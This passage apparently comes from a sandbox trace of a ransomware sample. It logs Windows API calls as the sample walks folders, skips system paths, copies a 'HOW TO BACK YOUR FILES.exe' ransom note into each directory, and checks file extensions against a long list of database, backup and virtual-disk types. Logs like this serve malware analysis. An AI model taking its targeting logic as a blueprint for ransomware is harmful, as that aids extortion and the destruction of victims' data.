FILES.exe") returned -1 [0102.168] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.168] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.168] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e780120, ftCreationTime.dwHighDateTime=0x1d4cca2, ftLastAccessTime.dwLowDateTime=0xc62fd9a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62fd9a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.168] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.168] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.168] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.168] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.168] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc313d60, ftCreationTime.dwHighDateTime=0x1d4d119, ftLastAccessTime.dwLowDateTime=0x6699c40, ftLastAccessTime.dwHighDateTime=0x1d4cf68, ftLastWriteTime.dwLowDateTime=0x6699c40, ftLastWriteTime.dwHighDateTime=0x1d4cf68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cISp VPsmsV3c8B4EusU", cAlternateFileName="CISPVP~1")) returned 1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2=".") returned 1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="..") returned 1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="windows") returned -1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="bootmgr") returned 1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="temp") returned -1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="pagefile.sys") returned -1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="boot") returned 1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="ids.txt") returned -1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="ntuser.dat") returned -1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="perflogs") returned -1 [0102.169] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU", lpString2="MSBuild") returned -1 [0102.169] lstrlenW (lpString="cISp VPsmsV3c8B4EusU") returned 20 [0102.169] lstrcpyW (in: lpString1=0x241e8be, lpString2="cISp VPsmsV3c8B4EusU" | out: lpString1="cISp VPsmsV3c8B4EusU") returned="cISp VPsmsV3c8B4EusU" [0102.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4e8 [0102.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x523020 [0102.169] lstrcatW (in: lpString1="cISp VPsmsV3c8B4EusU", lpString2="\\" | out: lpString1="cISp VPsmsV3c8B4EusU\\") returned="cISp VPsmsV3c8B4EusU\\" [0102.169] lstrcatW (in: lpString1="cISp VPsmsV3c8B4EusU\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="cISp VPsmsV3c8B4EusU\\HOW TO BACK YOUR FILES.exe") returned="cISp VPsmsV3c8B4EusU\\HOW TO BACK YOUR FILES.exe" [0102.169] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\cISp VPsmsV3c8B4EusU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\cisp vpsmsv3c8b4eusu\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.172] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec32b660, ftCreationTime.dwHighDateTime=0x1d4d1d6, ftLastAccessTime.dwLowDateTime=0x892670b0, ftLastAccessTime.dwHighDateTime=0x1d4c73c, ftLastWriteTime.dwLowDateTime=0x892670b0, ftLastWriteTime.dwHighDateTime=0x1d4c73c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e6cYm8Uwe6cjU7", cAlternateFileName="E6CYM8~1")) returned 1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2=".") returned 1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="..") returned 1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="windows") returned -1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="bootmgr") returned 1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="temp") returned -1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="pagefile.sys") returned -1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="boot") returned 1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="ids.txt") returned -1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="ntuser.dat") returned -1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="perflogs") returned -1 [0102.172] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7", lpString2="MSBuild") returned -1 [0102.172] lstrlenW (lpString="e6cYm8Uwe6cjU7") returned 14 [0102.172] lstrcpyW (in: lpString1=0x241e8be, lpString2="e6cYm8Uwe6cjU7" | out: lpString1="e6cYm8Uwe6cjU7") returned="e6cYm8Uwe6cjU7" [0102.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546178 [0102.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53d680 [0102.172] lstrcatW (in: lpString1="e6cYm8Uwe6cjU7", lpString2="\\" | out: lpString1="e6cYm8Uwe6cjU7\\") returned="e6cYm8Uwe6cjU7\\" [0102.173] lstrcatW (in: lpString1="e6cYm8Uwe6cjU7\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="e6cYm8Uwe6cjU7\\HOW TO BACK YOUR FILES.exe") returned="e6cYm8Uwe6cjU7\\HOW TO BACK YOUR FILES.exe" [0102.173] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\e6cYm8Uwe6cjU7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\e6cym8uwe6cju7\\how to back your files.exe"), bFailIfExists=1) returned 1 [0102.175] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62fd9a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc62fd9a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.175] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.175] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee18380, ftCreationTime.dwHighDateTime=0x1d4c942, ftLastAccessTime.dwLowDateTime=0xa9e624a0, ftLastAccessTime.dwHighDateTime=0x1d4cb63, ftLastWriteTime.dwLowDateTime=0xa9e624a0, ftLastWriteTime.dwHighDateTime=0x1d4cb63, nFileSizeHigh=0x0, nFileSizeLow=0x15079, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k FhukU.mp3", cAlternateFileName="KFHUKU~1.MP3")) returned 1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2=".") returned 1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="..") returned 1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="windows") returned -1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="bootmgr") returned 1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="temp") returned -1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="pagefile.sys") returned -1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="boot") returned 1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="ids.txt") returned 1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="ntuser.dat") returned -1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="perflogs") returned -1 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2="MSBuild") returned -1 [0102.175] lstrlenW (lpString="k FhukU.mp3") returned 11 [0102.175] lstrcpyW (in: lpString1=0x241e8be, lpString2="k FhukU.mp3" | out: lpString1="k FhukU.mp3") returned="k FhukU.mp3" [0102.175] lstrlenW (lpString="k FhukU.mp3") returned 11 [0102.175] lstrlenW (lpString="Athena865") returned 9 [0102.175] lstrcmpiW (lpString1="FhukU.mp3", lpString2="Athena865") returned 1 [0102.175] lstrlenW (lpString=".dll") returned 4 [0102.175] lstrcmpiW (lpString1="k FhukU.mp3", lpString2=".dll") returned 1 [0102.176] lstrlenW (lpString=".lnk") returned 4 [0102.176] lstrcmpiW (lpString1="k FhukU.mp3", lpString2=".lnk") returned 1 [0102.176] lstrlenW (lpString=".ini") returned 4 [0102.176] lstrcmpiW (lpString1="k FhukU.mp3", lpString2=".ini") returned 1 [0102.176] lstrlenW (lpString=".sys") returned 4 [0102.176] lstrcmpiW (lpString1="k FhukU.mp3", lpString2=".sys") returned 1 [0102.176] lstrlenW (lpString="k FhukU.mp3") returned 11 [0102.176] lstrlenW (lpString="bak") returned 3 [0102.176] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0102.176] lstrlenW (lpString="ba_") returned 3 [0102.176] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0102.176] lstrlenW (lpString="dbb") returned 3 [0102.176] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0102.176] lstrlenW (lpString="vmdk") returned 4 [0102.176] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0102.176] lstrlenW (lpString="rar") returned 3 [0102.176] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0102.176] lstrlenW (lpString="zip") returned 3 [0102.176] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0102.176] lstrlenW (lpString="tgz") returned 3 [0102.176] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0102.176] lstrlenW (lpString="vbox") returned 4 [0102.176] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0102.176] lstrlenW (lpString="vdi") returned 3 [0102.176] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0102.176] lstrlenW (lpString="vhd") returned 3 [0102.176] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0102.176] lstrlenW (lpString="vhdx") returned 4 [0102.176] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0102.176] lstrlenW (lpString="avhd") returned 4 [0102.176] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0102.176] lstrlenW (lpString="db") returned 2 [0102.176] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0102.177] lstrlenW (lpString="db2") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0102.177] lstrlenW (lpString="db3") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0102.177] lstrlenW (lpString="dbf") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0102.177] lstrlenW (lpString="mdf") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0102.177] lstrlenW (lpString="mdb") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0102.177] lstrlenW (lpString="sql") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0102.177] lstrlenW (lpString="sqlite") returned 6 [0102.177] lstrcmpiW (lpString1="kU.mp3", lpString2="sqlite") returned -1 [0102.177] lstrlenW (lpString="sqlite3") returned 7 [0102.177] lstrcmpiW (lpString1="ukU.mp3", lpString2="sqlite3") returned 1 [0102.177] lstrlenW (lpString="sqlitedb") returned 8 [0102.177] lstrcmpiW (lpString1="hukU.mp3", lpString2="sqlitedb") returned -1 [0102.177] lstrlenW (lpString="xml") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0102.177] lstrlenW (lpString="$er") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0102.177] lstrlenW (lpString="4dd") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0102.177] lstrlenW (lpString="4dl") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0102.177] lstrlenW (lpString="^^^") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0102.177] lstrlenW (lpString="abs") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0102.177] lstrlenW (lpString="abx") returned 3 [0102.177] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0102.177] lstrlenW (lpString="accdb") returned 5 [0102.177] lstrcmpiW (lpString1="U.mp3", lpString2="accdb") returned 1 [0102.178] lstrlenW (lpString="accdc") returned 5 [0102.178] lstrcmpiW (lpString1="U.mp3", lpString2="accdc") returned 1 [0102.178] lstrlenW (lpString="accde") returned 5 [0102.178] lstrcmpiW (lpString1="U.mp3", lpString2="accde") returned 1 [0102.178] lstrlenW (lpString="accdr") returned 5 [0102.178] lstrcmpiW (lpString1="U.mp3", lpString2="accdr") returned 1 [0102.178] lstrlenW (lpString="accdt") returned 5 [0102.178] lstrcmpiW (lpString1="U.mp3", lpString2="accdt") returned 1 [0102.178] lstrlenW (lpString="accdw") returned 5 [0102.178] lstrcmpiW (lpString1="U.mp3", lpString2="accdw") returned 1 [0102.178] lstrlenW (lpString="accft") returned 5 [0102.178] lstrcmpiW (lpString1="U.mp3", lpString2="accft") returned 1 [0102.178] lstrlenW (lpString="adb") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.178] lstrlenW (lpString="adb") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.178] lstrlenW (lpString="ade") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0102.178] lstrlenW (lpString="adf") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0102.178] lstrlenW (lpString="adn") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0102.178] lstrlenW (lpString="adp") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0102.178] lstrlenW (lpString="alf") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0102.178] lstrlenW (lpString="ask") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0102.178] lstrlenW (lpString="btr") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0102.178] lstrlenW (lpString="cat") returned 3 [0102.178] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0102.178] lstrlenW (lpString="cdb") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0102.179] lstrlenW (lpString="ckp") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0102.179] lstrlenW (lpString="cma") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0102.179] lstrlenW (lpString="cpd") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0102.179] lstrlenW (lpString="dacpac") returned 6 [0102.179] lstrcmpiW (lpString1="kU.mp3", lpString2="dacpac") returned 1 [0102.179] lstrlenW (lpString="dad") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0102.179] lstrlenW (lpString="dadiagrams") returned 10 [0102.179] lstrcmpiW (lpString1=" FhukU.mp3", lpString2="dadiagrams") returned -1 [0102.179] lstrlenW (lpString="daschema") returned 8 [0102.179] lstrcmpiW (lpString1="hukU.mp3", lpString2="daschema") returned 1 [0102.179] lstrlenW (lpString="db-journal") returned 10 [0102.179] lstrcmpiW (lpString1=" FhukU.mp3", lpString2="db-journal") returned -1 [0102.179] lstrlenW (lpString="db-shm") returned 6 [0102.179] lstrcmpiW (lpString1="kU.mp3", lpString2="db-shm") returned 1 [0102.179] lstrlenW (lpString="db-wal") returned 6 [0102.179] lstrcmpiW (lpString1="kU.mp3", lpString2="db-wal") returned 1 [0102.179] lstrlenW (lpString="dbc") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0102.179] lstrlenW (lpString="dbs") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0102.179] lstrlenW (lpString="dbt") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0102.179] lstrlenW (lpString="dbv") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0102.179] lstrlenW (lpString="dbx") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0102.179] lstrlenW (lpString="dcb") returned 3 [0102.179] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0102.179] lstrlenW (lpString="dct") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0102.180] lstrlenW (lpString="dcx") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0102.180] lstrlenW (lpString="ddl") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0102.180] lstrlenW (lpString="dlis") returned 4 [0102.180] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0102.180] lstrlenW (lpString="dp1") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0102.180] lstrlenW (lpString="dqy") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0102.180] lstrlenW (lpString="dsk") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0102.180] lstrlenW (lpString="dsn") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0102.180] lstrlenW (lpString="dtsx") returned 4 [0102.180] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0102.180] lstrlenW (lpString="dxl") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0102.180] lstrlenW (lpString="eco") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0102.180] lstrlenW (lpString="ecx") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0102.180] lstrlenW (lpString="edb") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0102.180] lstrlenW (lpString="epim") returned 4 [0102.180] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0102.180] lstrlenW (lpString="fcd") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0102.180] lstrlenW (lpString="fdb") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0102.180] lstrlenW (lpString="fic") returned 3 [0102.180] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0102.181] lstrlenW (lpString="flexolibrary") returned 12 [0102.181] lstrlenW (lpString="fm5") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0102.181] lstrlenW (lpString="fmp") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0102.181] lstrlenW (lpString="fmp12") returned 5 [0102.181] lstrcmpiW (lpString1="U.mp3", lpString2="fmp12") returned 1 [0102.181] lstrlenW (lpString="fmpsl") returned 5 [0102.181] lstrcmpiW (lpString1="U.mp3", lpString2="fmpsl") returned 1 [0102.181] lstrlenW (lpString="fol") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0102.181] lstrlenW (lpString="fp3") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0102.181] lstrlenW (lpString="fp4") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0102.181] lstrlenW (lpString="fp5") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0102.181] lstrlenW (lpString="fp7") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0102.181] lstrlenW (lpString="fpt") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0102.181] lstrlenW (lpString="frm") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0102.181] lstrlenW (lpString="gdb") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0102.181] lstrlenW (lpString="gdb") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0102.181] lstrlenW (lpString="grdb") returned 4 [0102.181] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0102.181] lstrlenW (lpString="gwi") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0102.181] lstrlenW (lpString="hdb") returned 3 [0102.181] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0102.182] lstrlenW (lpString="his") returned 3 [0102.182] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0102.182] lstrlenW (lpString="ib") returned 2 [0102.182] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0102.182] lstrlenW (lpString="idb") returned 3 [0102.182] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0102.182] lstrlenW (lpString="ihx") returned 3 [0102.182] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0102.182] lstrlenW (lpString="itdb") returned 4 [0102.182] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0102.182] lstrlenW (lpString="itw") returned 3 [0102.182] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0102.183] lstrlenW (lpString="jet") returned 3 [0102.183] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0102.183] lstrlenW (lpString="jtx") returned 3 [0102.183] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0102.183] lstrlenW (lpString="kdb") returned 3 [0102.184] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0102.184] lstrlenW (lpString="kexi") returned 4 [0102.184] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0102.184] lstrlenW (lpString="kexic") returned 5 [0102.184] lstrcmpiW (lpString1="U.mp3", lpString2="kexic") returned 1 [0102.184] lstrlenW (lpString="kexis") returned 5 [0102.184] lstrcmpiW (lpString1="U.mp3", lpString2="kexis") returned 1 [0102.184] lstrlenW (lpString="lgc") returned 3 [0102.184] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0102.184] lstrlenW (lpString="lwx") returned 3 [0102.184] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0102.184] lstrlenW (lpString="maf") returned 3 [0102.184] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0102.184] lstrlenW (lpString="maq") returned 3 [0102.184] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0102.184] lstrlenW (lpString="mar") returned 3 [0102.184] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0102.184] lstrlenW (lpString="marshal") returned 7 [0102.184] lstrcmpiW (lpString1="ukU.mp3", lpString2="marshal") returned 1 [0102.184] lstrlenW (lpString="mas") returned 3 [0102.184] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0102.184] lstrlenW (lpString="mav") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0102.185] lstrlenW (lpString="maw") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0102.185] lstrlenW (lpString="mdbhtml") returned 7 [0102.185] lstrcmpiW (lpString1="ukU.mp3", lpString2="mdbhtml") returned 1 [0102.185] lstrlenW (lpString="mdn") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0102.185] lstrlenW (lpString="mdt") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0102.185] lstrlenW (lpString="mfd") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0102.185] lstrlenW (lpString="mpd") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0102.185] lstrlenW (lpString="mrg") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0102.185] lstrlenW (lpString="mud") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0102.185] lstrlenW (lpString="mwb") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0102.185] lstrlenW (lpString="myd") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0102.185] lstrlenW (lpString="ndf") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0102.185] lstrlenW (lpString="nnt") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0102.185] lstrlenW (lpString="nrmlib") returned 6 [0102.185] lstrcmpiW (lpString1="kU.mp3", lpString2="nrmlib") returned -1 [0102.185] lstrlenW (lpString="ns2") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0102.185] lstrlenW (lpString="ns3") returned 3 [0102.185] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0102.185] lstrlenW (lpString="ns4") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0102.186] lstrlenW (lpString="nsf") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0102.186] lstrlenW (lpString="nv") returned 2 [0102.186] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0102.186] lstrlenW (lpString="nv2") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0102.186] lstrlenW (lpString="nwdb") returned 4 [0102.186] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0102.186] lstrlenW (lpString="nyf") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0102.186] lstrlenW (lpString="odb") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0102.186] lstrlenW (lpString="odb") returned 3 [0102.186] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0102.186] lstrlenW (lpString="oqy") returned 3 [0102.186] 